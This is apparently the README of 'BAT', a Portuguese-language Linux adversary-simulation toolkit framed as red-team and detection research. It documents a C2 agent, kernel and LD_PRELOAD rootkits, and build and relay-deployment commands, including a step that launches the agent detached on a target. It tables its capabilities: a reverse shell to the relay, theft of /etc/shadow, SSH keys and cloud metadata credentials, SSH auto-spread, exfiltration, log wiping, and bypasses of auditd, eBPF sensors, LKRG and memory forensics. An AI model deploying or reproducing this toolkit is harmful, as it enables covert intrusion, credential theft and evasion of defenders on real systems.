
Plataforma de simulação de adversários Linux de espectro completo com stealth a nível de kernel, beaconing C2, escalada de privilégios, coleta de credenciais, movimentação lateral e destruição de artefatos. Projetada para operações de red team e pesquisa de detecção.
BAT é um modelo de ameaça adversária realista e em evolução para Linux e Windows. Não é um framework C2 e não é um rootkit. É uma plataforma completa de simulação de ameaças que integra comunicação C2, módulos rootkit furtivos a nível de kernel, evasão em espaço de usuário, escalonamento de privilégios, persistência, injeção de processos, coleta de credenciais, exfiltração e movimento lateral em um único adversário coeso. O objetivo de design é ser a ameaça Linux mais sofisticada e realista alcançável em 2026, independente do que qualquer sistema de detecção atualmente captura.
É o lado adversário de um par de pesquisa. O framework Aura evolui para detectar o Bat. O Bat evolui para evadir a Aura. O adversário nunca é limitado pelo detector.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. Configurar```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
Gerar um segredo: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
Os binários vão para `bin/`.
### 4. Inicializar o relay```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
Implante um agente no alvo:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Agent appears in bat-server como <agentID>@<hostname> dentro de um intervalo de beacon (padrão 30s).
A camada stealth do kernel (bat-stealth.ko, código fonte em kperf-qos/) é construída diretamente sobre Singularity, um framework avançado de pesquisa de rootkit de kernel. Quatro módulos principais foram portados e adaptados:
bpf_hook: Intercepta bpf(2) e todos os primitivos de comunicação eBPF. Qualquer sensor eBPF recebe zero telemetria para PIDs ocultos. Adaptado: ARCH_SYS("bpf") substitui o __x64_sys_bpf específico para x86; __ia32_sys_bpf removido para ARM64; HIDDEN_PORT substituído por um global configurável via sysfs.
hiding_fs: Exclusão completa do sistema de arquivos: filtragem de getdents64/getdents, ajuste de nlink em stat/statx/newfstatat, bloqueio de openat/access/faccessat /proc/<pid>, bloqueio de chdir e readlink. Mesclado de cinco módulos Singularity (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). Adaptado: macros substituem acesso direto a registradores; estendido para configuradas em tempo de execução.
hide_module: Remove bat-stealth.ko de todas as listas de módulos do kernel. Estendido: Singularity já salva list.prev; esta versão salva ambos list.prev e list.next e envenena ambos para bloquear a travessia em qualquer direção. Adicionado module_unhide() para remoção reversível, necessário para o K-99 antes que delete_module(2) possa localizar o módulo pelo nome.
lkrg_bypass: Suprime a aplicação do LKRG para processos ocultos: hooka a entrega de sinais para bloquear SIGKILL para tarefas ocultas, hooka vprintk_emit para descartar mensagens de log do LKRG, desabilita a validação UMH durante a execução do agente. Portado diretamente sem alterações arquiteturais.
Os seguintes módulos foram desenvolvidos independentemente:
become_root: hook do sinal 59 que chama commit_creds(prepare_kernel_cred(NULL)) para conceder uid=0 (K-03)selfdefense: bloqueia a aquisição de memória do LiME, oculta entradas no kallsyms, bloqueia kprobes em símbolos do agente, reoculta o módulo em qualquer tentativa de enumeraçãoaudit: suprime eventos do auditd para PIDs ocultossysrq_hook: intercepta SysRq-T para excluir processos ocultos de dumps de tarefastaskstats_hook: filtra respostas NETLINK taskstats para PIDs ocultosreset_tainted + clear_taint_dmesg: zera /proc/sys/kernel/tainted e filtra linhas do dmesg contendo evidências de carregamento de módulohooks_write: intercepta todos os caminhos de escrita do kernel (write/splice/sendfile/tee + io_uring_enter/enter2 + compat ia32) para descartar entradas de log que correspondam a strings do agente antes que atinjam syslog ou journaldpid_manager: tracepoint de fork para manter o conjunto de PIDs ocultos em processos filhosA pilha completa torna o agente e todos os seus artefatos invisíveis para: ps, top, ss, netstat, lsof, travessia do sistema de arquivos em caminhos ocultos, lsmod, sysfs, kallsyms, auditd, todos os sensores eBPF, LKRG, LiME e análise forense SysRq.
Target Relay (VPS) Operator (local)
bat-agent --HTTPS:443--> nginx:443 -> :8443 --tunnel--> bat-server:9443 --TCP:9443 --> sshd:9443 --tunnel--> --UDP/ICMP --> (trigger forwarded)
bat-agent --HTTPS:9444-> kcc-server:9444 (kernel compile)
| Componente | Função |
|---|---|
| `bat-agent` | Agente. Faz beacon, executa TTPs. Ofuscado com Garble. |
| `bat-server` | Console do operador. CLI interativa. Gerencia todos os agentes. |
| `netshell` | Binário de entrega. Parece uma ferramenta do sistema; é um agente completo. |
| `bat-rootkit.so` | Rootkit userspace LD_PRELOAD. Oculta arquivos, PIDs, portas, variáveis de ambiente. |
| `bat-stealth.ko` | Camada de stealth no kernel (baseado em Singularity). |
| `kcc-server` | Serviço de relay. Compila `bat-stealth.ko` sob demanda para o kernel em execução do alvo. |
| `relay/` | Infraestrutura de relay: nginx, TLS, setup, sincronização, scripts de entrega. |
---
## Defesas Contornadas
| Categoria | Defesa | Mecanismo de Contorno |
|---|---|---|
| Monitoramento de processos | `ps` / `top` / listagem de `/proc` | `hiding_procs.c`: hook `getdents64` remove entradas de PID do agente do procfs antes da leitura pelo userspace |
| Monitoramento de processos | `/proc/<pid>/status`, `/proc/<pid>/cmdline` | `hiding_procs.c`: hook `filldir` filtra prefixos de PID de todos os resultados de readdir |
| Sistema de arquivos | `ls` / `find` sobre arquivos e diretórios do agente | `hiding_fs.c`: hooks `getdents64`/`getdents` em caminhos alvo; nlink stat ajustado para corresponder |
| Sistema de arquivos | Detecção de `lsattr` / `chattr` | `hiding_fs.c`: interceptação `ioctl` em caminhos de arquivo do agente |
| Sistema de arquivos | Listagem de `/proc/modules` / `lsmod` | `hiding_module.c`: remove entrada de `bat-stealth.ko` de todas as listas de módulos sysfs e procfs |
| Rede | Listagens de porta `ss` / `netstat` | `hiding_net.c`: hooks `tcp4_seq_show`/`tcp6_seq_show` removem entradas de porta C2 da saída |
| Rede | `/proc/net/tcp`, `/proc/net/tcp6` | `hiding_net.c`: interceptação de leitura seq_file descarta linhas de socket C2 |
| Logs | Caminho de escrita de `syslog` / `journald` | `hooks_write.c`: interceptação de `write`/`splice`/`sendfile`/`tee`; entradas de log correspondentes a strings do agente são descartadas no kernel |
| Logs | Caminho de escrita assíncrona `io_uring` | `hooks_write.c`: interceptação de `io_uring_enter`/`io_uring_enter2`; caminho compat ia32 coberto |
| Segurança do kernel | `rkhunter` / `chkrootkit` | Módulo oculto de `/proc/modules`; arquivos do agente ocultos do sistema de arquivos; zero avisos verificado |
| Segurança do kernel | ClamAV | Ofuscação Garble `-literals -tiny` + sem strings de texto claro incorporadas; 0 detecções verificadas (BD 2026-04-20) |
| EDR / eBPF | Sensores eBPF lendo `/proc` | Hooks de ocultação interceptam no nível do kernel antes que eventos do ring buffer eBPF sejam produzidos |
| Introspecção do kernel | `ftrace` / `kprobes` em símbolos do agente | Módulo `selfdefense` bloqueia anexação de kprobe em endereços de funções do agente |
| Forense do kernel | Aquisição de memória LiME | `selfdefense` bloqueia carregamento do módulo LiME e acesso a dispositivo de memória bruta |
| Forense do kernel | Despejo de tarefa SysRq-T | `sysrq_hook` exclui processos ocultos da lista de tarefas escrita por SysRq-T |
| Forense do kernel | NETLINK taskstats | `taskstats_hook` filtra respostas NETLINK taskstats para PIDs ocultos |
| Integridade do kernel | Aplicação LKRG | `lkrg_bypass` suprime entrega de `SIGKILL` do LKRG e descarta mensagens de log do LKRG |
| Subsistema de auditoria | Gravação de syscall `auditd` | Módulo `audit` suprime eventos de auditoria para todos os PIDs ocultos na camada de auditoria do kernel |
---
## Hooks de Syscall
Todos os hooks são instalados por `bat-stealth.ko` via ftrace no momento do carregamento. Entradas ia32 são compiladas apenas em x86_64 (`#ifdef ARCH_SYS_IA32`).
| Chamada de sistema / Função | Módulo | Propósito |
|---|---|---|
| `getdents64` | `hiding_procs.c` | Ocultar PIDs do agente de listagens de diretório `/proc` |
| `getdents` | `hiding_procs.c` | Compat 32 bits: ocultar PIDs do agente |
| `filldir` (readdir) | `hiding_procs.c` | Filtro complementar de entrada proc para chamadores readdir legados |
| `getdents64` | `hiding_fs.c` | Ocultar arquivos do agente de listagens de diretório |
| `getdents` | `hiding_fs.c` | Compat 32 bits: ocultar arquivos do agente |
| `ia32_getdents64` | `hiding_fs.c` | Chamada de sistema compat x86 |
| `ia32_getdents` | `hiding_fs.c` | Chamada de sistema compat x86 |
| `ia32_stat` / `ia32_lstat` / `ia32_fstat` | `hiding_fs.c` | Interceptações stat de 32 bits para caminhos ocultos |
| `ia32_open` / `ia32_openat` / `ia32_access` | `hiding_fs.c` | Interceptações open/access de 32 bits |
| `ia32_readlink` | `hiding_fs.c` | Interceptação readlink de 32 bits |
| `ia32_chdir` | `hiding_fs.c` | Interceptação chdir de 32 bits |
| `ioctl` | `hiding_fs.c` | Interceptar ioctl `lsattr`/`chattr` em caminhos do agente |
| `tcp4_seq_show` | `hiding_net.c` | Ocultar entradas de porta C2 de `/proc/net/tcp` |
| `tcp6_seq_show` | `hiding_net.c` | Ocultar entradas de porta C2 de `/proc/net/tcp6` |
| `bpf` | `bpf_hook.c` | Zerar telemetria para PIDs ocultos em todos os programas eBPF |
| `write` | `hooks_write.c` | Descartar entradas de log contendo strings do agente antes de chegar ao syslog |
| `splice` | `hooks_write.c` | Mesma interceptação via caminho splice |
| `sendfile` | `hooks_write.c` | Mesma interceptação via caminho sendfile |
| `tee` | `hooks_write.c` | Mesma interceptação via caminho tee |
| `io_uring_enter` | `hooks_write.c` | Interceptação de escrita assíncrona io_uring |
| `io_uring_enter2` | `hooks_write.c` | Interceptação de escrita assíncrona io_uring (syscall v2) |
| `sched_process_fork` (tracepoint) | `pid_manager.c` | Herdar status oculto entre `fork`/`clone` |
| `vprintk_emit` | `lkrg_bypass.c` | Descartar mensagens de log do kernel do LKRG |
| `finit_module` / `init_module` | agent (carregador kcc) | Carregamento de módulo do kernel sem arquivo via `memfd_create` + fd anônimo |
---
## Referência de TTPs
| TTP | Nome | Descrição |
|---|---|---|
| 1 | masquerade | Renomear comm do processo para `kworker/0:1` (ou personalizado) |
| 2 | reverse_shell | Shell TCP reverso para relay:4445 |
| 3 | memory_rwx | Alocar memória anônima RWX (sonda de detecção) |
| 4 | shell_exec | Executar comando shell arbitrário |
| 5 | beacon | Forçar check-in extra imediato |
| 6 | persist | Instalar persistência (cron / systemd / rc.local / openrc / profile / XDG autostart) |
| 7 | creddump | Colher `/etc/shadow`, histórico bash, segredos de env, AWS IMDS |
| 9 | exec_chain | Gerar cadeia de processo (sonda de detecção) |
| 10 | install_rootkit | Implantar `bat-rootkit.so` via `/etc/ld.so.preload` |
| 11 | inject + exit | Injetar threads beacon + rawsock em processo ativo, depois auto-sair |
| 20 | network_recon | Tabela ARP + varredura TCP :22 da sub-rede local |
| 21 | ssh_harvest | Coletar chaves privadas, known_hosts, authorized_keys, configurações |
| 22 | lateral_move | SCP do próprio para host descoberto via SSH, exec desanexado |
| 23 | creddump_full | Colheita estendida de credenciais + impressão digital do ambiente |
| 30 | exfil-file | Ler arquivo arbitrário e transmitir chunks base64 pelo canal beacon |
| 31 | exfil-dir | Tar+gzip em um diretório e exfiltrar pelo canal beacon |
| 32 | exfil-auto | Observar caminhos configurados e auto-exfiltrar em alteração |
| 34 | netmap | Escanear CIDR /16 por hosts ativos e portas abertas |
| 35 | autospread | Movimento lateral SSH para hosts descobertos usando chaves colhidas; copia agente e executa desanexado |
| 36 | smbprobe | Sonda de porta SMB (:445) para candidatos a movimento lateral |
| 99 | kill | Auto-terminação silenciosa |
| 222 | destruct | Remover todos os artefatos, limpar memória, sair |
| 1003 | K-03 (privesc) | Sinal do kernel 59 aciona `commit_creds` para uid=0 |
| 1099 | K-99 (unload) | Descarregamento de `bat-stealth.ko` em duas fases via sysfs + `delete_module(2)` bruto |
Comandos do console (no prompt `bat-server`):
- `kill`: TTP 99 para todos os agentes
- `destruct`: TTP 222 para todos os agentes
- `destruct @<agentID>`: limpeza direcionada
---
### KCC: Cache de Compilação do Kernel
`bat-stealth.ko` é compilado sob demanda para o kernel em execução do alvo. O agente automatiza o fluxo completo em tempo de execução; nenhum módulo pré-construído é necessário por alvo:
1. **Detectar kernel**: o agente lê `/proc/version` para obter a string exata do `uname -r`.
2. **Solicitar compilação**: o agente faz POST da string do kernel para `kcc-server` (`:9444`) com uma requisição assinada por HMAC.
3. **kcc-server compila**: o servidor constrói `bat-stealth.ko` contra os cabeçalhos de kernel correspondentes e armazena em cache o resultado pelo hash do kernel.
4. **Receber bytes do módulo**: o `.ko` compilado é retornado no corpo da resposta.
5. **Carregamento sem arquivo**: o agente cria um arquivo de memória anônimo (`memfd_create`, syscall 279 no x86_64 / 319 no ARM64), escreve os bytes do módulo e chama `finit_module` (syscall 273 / 313) com uma string de parâmetros vazia.
6. **Registro**: o módulo registra todos os hooks e se oculta do sysfs/procfs em milissegundos.
Nenhum arquivo `.ko` é escrito em disco em nenhum momento. O módulo desaparece de `/proc/modules` imediatamente após o carregamento.
**Kernel mínimo:** 6.x (sonda K-00; o agente pula o carregamento stealth em kernels mais antigos).
**Testado:** 6.1.0 (Debian 12 / Ubuntu LTS), 6.8.0 (Ubuntu 22.04 GCP).
---
## Perfis de Compilação```bash
make lab SECRET=<hex> # direct: agent -> relay:9443, UDP trigger
make cdn SECRET=<hex> # CDN: agent -> edge proxy -> relay:443
make singularity SECRET=<hex> # ICMP trigger only, no UDP port exposure
Todos os perfis requerem SECRET=. Substitua o IP do relay por RELAY=<ip>.
SHA-256(secret); replays rejeitados no lado do servidor.-literals no momento da compilação. -X ldflags intencionalmente evitado (valores ldflag aparecem como texto simples nos binários).bat-server.relay/static/ é a face pública do relay. O release inclui um placeholder simples. Substitua index.html e as páginas de suporte pela sua identidade de cobertura antes de executar sync.sh. Os scripts de entrega (static/i, static/api/setup, static/api/v1/index.json) usam __CDN_DOMAIN__ como placeholder; defina CDN_DOMAIN= em build.env e o sync.sh substitui automaticamente. Atualize relay/nginx/bat.conf com o domínio real em server_name e caminhos dos certificados TLS antes da primeira implantação do nginx.
O perfil CDN roteia o tráfego do agente através de uma camada de proxy de borda. O agente se conecta ao domínio CDN via HTTPS; o proxy encaminha o tráfego para o ouvinte local do relay através do túnel reverso SSH. Do ponto de vista da rede, todo o tráfego do agente origina-se dos intervalos de IP de borda CDN, e não do VPS do relay.
---
Quando um alvo obtém o binário do agente do endpoint CDN, um alerta de entrega é enviado instantaneamente para um canal Telegram configurado. A notificação inclui: IP de origem, timestamp, caminho da requisição, arquitetura detectada (x86_64/arm64), tamanho do arquivo, string User-Agent e identificador de borda CDN.
O daemon delivery-alert.service monitora o log de acesso do nginx e dispara em qualquer acesso ao caminho de download honey. Configure durante o bootstrap do relay:```bash
sudo bash -s -- --tg-token <BOT_TOKEN> --tg-chat-id <CHAT_ID> < relay/setup.sh
As credenciais são escritas em `/etc/bat/tg.env` no relay e propagadas para todos os alvos de sincronização via `sync.sh --tg`. O serviço inicia automaticamente e sobrevive a reinicializações do relay.
---
## Aviso Legal
Este software é desenvolvido exclusivamente para pesquisa de segurança autorizada, simulação de adversários em ambientes de laboratório controlados e o desenvolvimento de capacidades de detecção e resposta. Ele contém implementações funcionais de técnicas ofensivas, incluindo rootkits a nível de kernel, injeção de processos, coleta de credenciais e movimento lateral. A implantação em qualquer sistema sem autorização explícita por escrito do proprietário do sistema é ilegal sob as leis aplicáveis de fraude e abuso de computadores na maioria das jurisdições.
Os autores não aceitam nenhuma responsabilidade por quaisquer danos, consequências legais ou prejuízos resultantes do uso não autorizado, negligente ou malicioso deste software. Ao usar este software, você afirma ser um profissional de segurança qualificado operando dentro de um escopo legal e autorizado, e que a total responsabilidade legal e ética pelo seu uso recai exclusivamente sobre você.
Este software não deve ser redistribuído, publicado ou divulgado a terceiros sem consentimento prévio por escrito.
REGS_ARGnshould_hide_path()bat_hidden_paths[]| ID ATT&CK | Técnica | Implementação do Bat |
|---|
| T1036.005 | Mascaramento: Corresponder Nome Legítimo | TTP 1: prctl(PR_SET_NAME) para kworker/0:1 |
| T1055 | Injeção de Processo | TTP 11: shellcode + thread rawsock injetados em processo ativo |
| T1205.001 | Sinalização de Tráfego (Pacote Mágico) | Gatilho UDP/ICMP acorda o agente da dormência |
| T1071.001 | Protocolos Web C2 | Beacons HTTPS sobre :443 ou :9443 |
| T1573.001 | Canal Criptografado: Simétrico | Beacons autenticados por HMAC-SHA256 sobre TLS |
| T1090.004 | Proxy: Domain Fronting | Perfil CDN roteia o tráfego do agente através de uma camada de proxy de borda |
| T1574.006 | Sequestro de Execução: LD_PRELOAD | TTP 10: bat-rootkit.so via /etc/ld.so.preload |
| T1014 | Rootkit | bat-stealth.ko: oculta PIDs, portas, arquivos, módulo, si mesmo |
| T1562.001 | Prejudicar Defesas: Desabilitar Ferramentas | bpf_hook cega sensores eBPF; lkrg_bypass desabilita LKRG |
| T1562.012 | Prejudicar Defesas: Desabilitar Linux Audit | Módulo audit suprime eventos do auditd para PIDs ocultos |
| T1068 | Escalação de Privilégio via Exploração | K-03: sinal 59 aciona commit_creds para uid=0 |
| T1543.002 | Criar/Modificar Processo do Sistema: Systemd | TTP 6: persistência de unidade systemd |
| T1053.003 | Tarefa Agendada: Cron | TTP 6: persistência de crontab |
| T1070.002 | Limpar Logs do Linux | clear_taint_dmesg filtra dmesg; reset_tainted zera o flag de taint; hooks_write descarta entradas de log no kernel |
| T1070.004 | Remoção de Indicador: Exclusão de Arquivo | TTP 222 destruct: limpeza completa de artefatos |
| T1003 | Dumping de Credenciais | TTP 7/23: /etc/shadow, histórico do shell, segredos de env |
| T1552.004 | Credenciais Não Seguras: Chaves Privadas | TTP 21: chaves SSH, known_hosts, configurações |
| T1552.005 | Metadados de Instância em Nuvem | TTP 23: colheita de credenciais AWS IMDS |
| T1018 | Descoberta de Sistema Remoto | TTP 20/34: enumeração ARP + varredura /16 CIDR |
| T1046 | Varredura de Serviço de Rede | TTP 20/34: varredura de porta TCP de hosts descobertos |
| T1021.004 | Movimento Lateral via SSH | TTP 22/35: SCP de si mesmo para host descoberto, execução destacada |
| T1078 | Contas Válidas | TTP 22/35: movimento lateral usa chaves SSH colhidas |
| T1048 | Exfiltração sobre Protocolo Alternativo | TTP 30/31/32: exfiltração de arquivos e diretórios sobre o canal de beacon |
| T1059.004 | Execução de Shell Unix | TTP 4: execução arbitrária de comando |
| T1027 | Arquivos ou Informações Ofuscados | garble -literals -tiny -seed=random; codificação XOR(0x5A) de configuração |
| T1620 | Carregamento de Código Reflexivo | TTP 11: shellcode executado no espaço de endereço do processo alvo; bat-stealth.ko carregado via memfd_create |